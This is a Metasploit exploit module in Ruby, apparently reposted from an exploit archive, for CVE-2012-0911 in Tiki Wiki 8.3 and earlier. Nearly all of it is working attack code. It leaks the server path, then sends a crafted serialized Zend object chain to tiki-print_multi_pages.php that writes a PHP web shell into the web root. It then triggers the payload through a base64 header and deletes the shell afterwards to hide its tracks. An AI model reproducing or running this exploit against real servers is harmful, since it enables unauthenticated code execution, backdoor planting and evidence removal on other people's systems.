Tiki Wiki <= 8.3 unserialize() PHP Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
            'Description'    => %q{
                    This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
                which could be abused to allow unauthenticated users to execute arbitrary code
                under the context of the webserver user.
 
                The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
                which is called with user controlled data from the 'printpages' parameter.
                The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
                class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
 
                In order to run successfully three conditions must be satisfied (1) display_errors
                php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
                Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
                version older than 5.3.4 must be used to allow poison null bytes in filesystem related
                functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
            },
            'Author'    =>
                [
                    'EgiX', # Vulnerability discovery and PoC
                    'juan vazquez' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2012-0911' ],
                    [ 'BID', '54298' ],
                    [ 'EDB', '19573' ],
                    [ 'URL', 'http://dev.tiki.org/item4109' ]
                ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Payload'        =>
                {
                    'DisableNops' => true,
                },
            'Targets'        => [ ['Automatic', {}] ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jul 04 2012'
            ))
 
            register_options(
                [
                    OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
                ], self.class)
    end
 
 
    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            begin
                client.fs.file.rm(@upload_php)
                print_good("#{@peer} - #{@upload_php} removed to stay ninja")
            rescue
                print_error("#{@peer} - Unable to remove #{f}")
            end
        end
    end
 
    def exploit
        base = target_uri.path
        base << '/' if base[-1, 1] != '/'
        @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
        @peer = "#{rhost}:#{rport}"
 
        print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")
 
        res = send_request_cgi(
            'uri' => "#{base}tiki-rss_error.php"
        )
 
        if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
            print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
            return
        else
            tiki_path = $1
            print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
        end
 
        php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
 
        printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
        printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
        printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
        printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
        printpages << "s:10:\"%00*%00_fields\";a:1:"
        printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
        printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
        printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
 
        print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
 
        res = send_request_cgi(
        {
            'uri' => "#{base}tiki-print_multi_pages.php",
            'method' => 'POST',
            'vars_post' => {
                'printpages' => printpages
            }
        })
 
        if not res or res.code != 200
            print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
            return
        end
 
        print_status("#{@peer} - Executing the payload #{@upload_php}")
 
        res = send_request_cgi(
        {
            'method' => 'GET',
            'uri'    => "#{base + @upload_php}",
            'headers' => {
                'Cmd' => Rex::Text.encode_base64(payload.encoded)
            }
        })
 
        if res
            print_error("#{@peer} - Payload execution failed: #{res.code}")
            return
        end
 
    end
end



#  0day.today [2018-01-10]  #